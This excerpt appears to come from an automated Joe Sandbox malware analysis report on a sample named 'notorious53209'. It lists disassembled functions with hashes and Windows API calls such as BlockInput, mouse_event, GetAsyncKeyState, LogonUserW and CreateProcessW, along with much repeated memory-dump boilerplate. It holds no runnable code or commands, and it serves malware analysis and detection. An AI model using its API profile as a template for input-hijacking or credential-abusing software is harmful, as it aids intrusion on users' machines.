Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AdjustCloseHandlePrivilegesToken
String ID:
API String ID: 81990902-0
Opcode ID: 81e412baf24bd33d43f5db0122a55891f20e82c98242c9c88eb8e268415cdb24
Instruction ID: 7d815dccdfb25c4e7bbd8e3bc995642acd94ed9f8f62f557cec9480f83094042
Opcode Fuzzy Hash: 81e412baf24bd33d43f5db0122a55891f20e82c98242c9c88eb8e268415cdb24
Instruction Fuzzy Hash: F0E08C36020610EFE7212B20FD08E73BBE9EF04361724893DF896804B0CB32ACA0DB10

Function 0025A395 Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0025A39A
UnhandledExceptionFilter.KERNEL32(?), ref: 0025A3A3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 616110689006555f24c9ee572cb51f07bb7975765f238436362345a0229d2307
Instruction ID: 52dfa1ead0ce8a2ba4add47f854ff4454f1db8417907312aa7918ce25fd4a602
Opcode Fuzzy Hash: 616110689006555f24c9ee572cb51f07bb7975765f238436362345a0229d2307
Instruction Fuzzy Hash: 95B09231054248ABCA802B91FD0DB883FA8EB44BA2F4081A0FF0E84060CB6254508A91

Function 0025F419 Relevance: 2.1, APIs: 1, Instructions: 645COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b7462aed1eeee556cafe4c614c7e3a00c10919bcd4e207a931f8d16f37a364a9
Instruction ID: a429bf539c3d9b7361e54c9063a01d0a6408c9b3f19225ede69c00553f1cbf57
Opcode Fuzzy Hash: b7462aed1eeee556cafe4c614c7e3a00c10919bcd4e207a931f8d16f37a364a9
Instruction Fuzzy Hash: 6E320221D79F014DD7639A34D936326A248AFB73CAF14D737EC1AB59A6EB38C8834104

Function 0026267E Relevance: 1.8, APIs: 1, Instructions: 294COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e9792dae353153496458624ec0441811887d881414817026f5796e810f37202b
Instruction ID: 30beca32311b798377e06240bfaebcd1183db45bf94d0baf890fac302dacf9ca
Opcode Fuzzy Hash: e9792dae353153496458624ec0441811887d881414817026f5796e810f37202b
Instruction Fuzzy Hash: 72B1F020D2AF454DD32396399839336BA4CAFBB2C9F51D71BFC2671D22EB2185834141

Function 002BD6C6 Relevance: 1.5, APIs: 1, Instructions: 47nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 002325DB: GetWindowLongW.USER32(?,000000EB), ref: 002325EC

NtdllDialogWndProc_W.NTDLL(?,00000115,?,?,?,?,?,?,0026BBA2,?,?,?,?,00000000,?), ref: 002BD740

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: 255699c95e6bb4056755a5101e344f7e81f6083699420fc02401cbdcf915bc19
Instruction ID: 95805187408bcf5fc873f8292feaadce5001a7c14a4ea8008884fcd82fd9e8c1
Opcode Fuzzy Hash: 255699c95e6bb4056755a5101e344f7e81f6083699420fc02401cbdcf915bc19
Instruction Fuzzy Hash: 62012835610015ABDB149F29D889FF9BB92EF413A4F444125F9151B191D730BC71E7A0

Function 002BC220 Relevance: 1.5, APIs: 1, Instructions: 31nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

Part of subcall function 00232344: GetCursorPos.USER32(?), ref: 00232357
Part of subcall function 00232344: ScreenToClient.USER32(002F67B0,?), ref: 00232374
Part of subcall function 00232344: GetAsyncKeyState.USER32(00000001), ref: 00232399
Part of subcall function 00232344: GetAsyncKeyState.USER32(00000002), ref: 002323A7

NtdllDialogWndProc_W.NTDLL(?,00000204,?,?,00000001,?,?,?,0026BC4F,?,?,?,?,?,00000001,?), ref: 002BC272

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: AsyncState$ClientCursorDialogLongNtdllProc_ScreenWindow
String ID:
API String ID: 2356834413-0
Opcode ID: ebc32acbc960719ec40baf5e66c4c1f23011ba12cdd871890025dabc26873572
Instruction ID: 4b6463fa3657d249f740281915ccfa83dee55e5df75aae0b636f1cf9cc25077a
Opcode Fuzzy Hash: ebc32acbc960719ec40baf5e66c4c1f23011ba12cdd871890025dabc26873572
Instruction Fuzzy Hash: 77F08270210229EBDF14AF49DC0AEBA3B95EB04790F004065F9465B291CB75AC74DFE0

Function 0023189B Relevance: 1.5, APIs: 1, Instructions: 29nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

NtdllDialogWndProc_W.NTDLL(?,00000006,00000000,?,?,?,00231B04,?,?,?,?,?), ref: 002318E2

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: d57579e64df231fbd345472fd5054a4594f95776caeb42427faa1baaabd045ba
Instruction ID: ab0d07eff55e551f7297e13605e6516f5b42a03c5db2928b6bb19c1511ec4fc3
Opcode Fuzzy Hash: d57579e64df231fbd345472fd5054a4594f95776caeb42427faa1baaabd045ba
Instruction Fuzzy Hash: 2FF05E746102299FEB18EF18E85997677A6EB443A0F504529F9524B3E1CB31E870DB50

Function 002A41FD Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON

Download Yara Rule

APIs

BlockInput.USER32(00000001), ref: 002A4218

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: BlockInput
String ID:
API String ID: 3456056419-0
Opcode ID: 44a6699a622ae9807b00126da083c8457e5e7e015076d9572a467ec40860ff75
Instruction ID: c48bab4844d19ebbbdc3d7dd3fcf513f7f9490c6eec75914476272bd6faf5fb5
Opcode Fuzzy Hash: 44a6699a622ae9807b00126da083c8457e5e7e015076d9572a467ec40860ff75
Instruction Fuzzy Hash: CAE048752601145FC710EF59D844B5AF7ECAF95760F008416FD49C7351DAF0EC548B90

Function 002BCBAE Relevance: 1.5, APIs: 1, Instructions: 24nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000232,?,?), ref: 002BCBEE

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: bd80fa2a4d39999edd2941801115ad12f29ca88a98ac95fe1e7dee5b751ea84e
Instruction ID: 711ba144b3a9d7f79b08d86a104cfc3640b76b6cc63f63e95f3482ff04e9e697
Opcode Fuzzy Hash: bd80fa2a4d39999edd2941801115ad12f29ca88a98ac95fe1e7dee5b751ea84e
Instruction Fuzzy Hash: BFF09231250259BFDB21EF58EC09FD67B95EB097A0F144058FA21272E1CB707820DBA0

Function 00294EF5 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00294F18

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: mouse_event
String ID:
API String ID: 2434400541-0
Opcode ID: cb9fef881712808711de295862378e848627ef44fff8f00c65301906c290f15b
Instruction ID: d9a844d395b74491678b237d7570b88d690258417ec8f9922c7dd20a60426967
Opcode Fuzzy Hash: cb9fef881712808711de295862378e848627ef44fff8f00c65301906c290f15b
Instruction Fuzzy Hash: C2D09EB517860779FC286F20AC1FF761209E354795FD45A89720195CC198E57C72A435

Function 00288C93 Relevance: 1.5, APIs: 1, Instructions: 19COMMON

Download Yara Rule

APIs

LogonUserW.ADVAPI32(?,00000001,?,?,00000000,002888D1), ref: 00288CB3

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: LogonUser
String ID:
API String ID: 1244722697-0
Opcode ID: 3c5e0ef191c3fe4d529863c90698d77fb8f45ffa76afe75c6f248f2eb2a3bba4
Instruction ID: 01987a76248543066c9957a923bc0b84cccd5eb2f3178d0866cfb03a743402ad
Opcode Fuzzy Hash: 3c5e0ef191c3fe4d529863c90698d77fb8f45ffa76afe75c6f248f2eb2a3bba4
Instruction Fuzzy Hash: 4DD05E3226050EABEF019EA4ED06EAE3B69EB04B01F408511FE15C50A1C775D835AB60

Function 002BCBF9 Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL(?,00000053,?,?,?,0026BC0C,?,?,?,?,?,?), ref: 002BCC24

Part of subcall function 002BB8EF: _memset.LIBCMT ref: 002BB8FE
Part of subcall function 002BB8EF: _memset.LIBCMT ref: 002BB90D
Part of subcall function 002BB8EF: CreateProcessW.KERNEL32(00000000,?,00000000,00000000,00000000,00000020,00000000,00000000,002F7F20,002F7F64), ref: 002BB93C
Part of subcall function 002BB8EF: CloseHandle.KERNEL32 ref: 002BB94E

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: _memset$CloseCreateDialogHandleNtdllProc_Process
String ID:
API String ID: 2364484715-0
Opcode ID: 3222df275a40b38d9969ad21b5761f2b7c697f51d0b8586a3a4ba1011314f3b6
Instruction ID: 7298c4ee94e9b5fe46d091198b705ec1b589e5592b2468fb2b7ed3f29248c0f5
Opcode Fuzzy Hash: 3222df275a40b38d9969ad21b5761f2b7c697f51d0b8586a3a4ba1011314f3b6
Instruction Fuzzy Hash: 3DE0B635220209DFDB11AF44EE49E953BA5FB2C791F014066FA195B2B2CB71A970EF50

Function 0023167D Relevance: 1.5, APIs: 1, Instructions: 18nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

NtdllDialogWndProc_W.NTDLL(?,00000007,?,00000000,00000000,?,?,?,00231AEE,?,?,?), ref: 002316AB

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogLongNtdllProc_Window
String ID:
API String ID: 2065330234-0
Opcode ID: b23b624556752ea1dfd6589767f96628e12b087a7e5278b25cbdcb0a15c0628b
Instruction ID: d36c5d40a5b93c90ff9797bbbf4ffd3b72a7128b6ed5c188bdb03f41b2808645
Opcode Fuzzy Hash: b23b624556752ea1dfd6589767f96628e12b087a7e5278b25cbdcb0a15c0628b
Instruction Fuzzy Hash: AEE0EC75510208FBCF15AF90DC19E647B2AFB48354F108468FA450A2A1CA32B526DF50

Function 002BCB7F Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 002BCBA4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 556b23daac6a7a48b00c1904f909ea37455779b1fa9f31fadf0968f686676a57
Instruction ID: 5a18b4b423eee53509c32ebeb680400b3d1130991685f5bd752638b053b7ac1b
Opcode Fuzzy Hash: 556b23daac6a7a48b00c1904f909ea37455779b1fa9f31fadf0968f686676a57
Instruction Fuzzy Hash: 88E0E235200208EFDB01DF88E948D963BA5EB1D340F004064FA0547262CB71A820EBA1

Function 002BCB50 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtdllDialogWndProc_W.NTDLL ref: 002BCB75

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: DialogNtdllProc_
String ID:
API String ID: 3239928679-0
Opcode ID: 4847ed7d0b0f2db6637021ff5c4f1ef6910ded6d7032725efd62adb85cecef2c
Instruction ID: e85dd47a4ccdeac900883d1b1ab2352b1e6af0b86af19af3a230a4972e7566f7
Opcode Fuzzy Hash: 4847ed7d0b0f2db6637021ff5c4f1ef6910ded6d7032725efd62adb85cecef2c
Instruction Fuzzy Hash: D1E0E235200208AFDB01DF88EC88E963BA5EB1D340F004064FA0547262CB71A820EB61

Function 002316B5 Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

Part of subcall function 00232612: GetWindowLongW.USER32(?,000000EB), ref: 00232623

Part of subcall function 0023201B: DestroyWindow.USER32(?), ref: 002320D3
Part of subcall function 0023201B: KillTimer.USER32(-00000001,?), ref: 0023216E

NtdllDialogWndProc_W.NTDLL(?,00000002,00000000,00000000,00000000,?,?,00231AE2,?,?), ref: 002316D4

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: Window$DestroyDialogKillLongNtdllProc_Timer
String ID:
API String ID: 2797419724-0
Opcode ID: 6f7eddd54cc7cb8b166b52d8b9e870dbdacac9afd24b8fc1f2eef28114d89c76
Instruction ID: 23b8f56e42b8e2daa0155a7d80e64efba96f30309d0883967eba9e3e4c535d9f
Opcode Fuzzy Hash: 6f7eddd54cc7cb8b166b52d8b9e870dbdacac9afd24b8fc1f2eef28114d89c76
Instruction Fuzzy Hash: E7D01270150318B7DA203B50DD1BF597A1DDB14750F408020BB05291D3CA717835A958

Function 00272230 Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

GetUserNameW.ADVAPI32(?,?), ref: 00272242

Memory Dump Source

Source File: 0000000A.00000002.395556369.0000000000231000.00000040.00000001.01000000.00000004.sdmp, Offset: 00230000, based on PE: true

Associated: 0000000A.00000002.395552994.0000000000230000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002E5000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.00000000002EF000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000313000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395556369.0000000000349000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395587978.000000000034F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395591272.0000000000350000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 0000000A.00000002.395599738.0000000000396000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_230000_notorious53209.jbxd

Similarity

API ID: NameUser
String ID:
API String ID: 2645101109-0
Opcode ID: d7f3fb20ad55ae3cb9bae9652823cdd0c0ff63ddae530849f15a8091b6ea08c0
Instruction ID: 6af26b34bff2a5387a4d78227959ca00e39ea9a81421dab067c7ab9d97c5982c
Opcode Fuzzy Hash: d7f3fb20ad55ae3cb9bae9652823cdd0c0ff63ddae530849f15a8091b6ea08c0
Instruction Fuzzy Hash: 33C04CF1810109DBDB05DB90DA88DEE77BCAB04304F104555A105F2150D7749B548B71

Function 0025A364 Relevance: 1.5, APIs: 1, Instructions: 6COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(?), ref: 0025A36A

Memory Dump Source

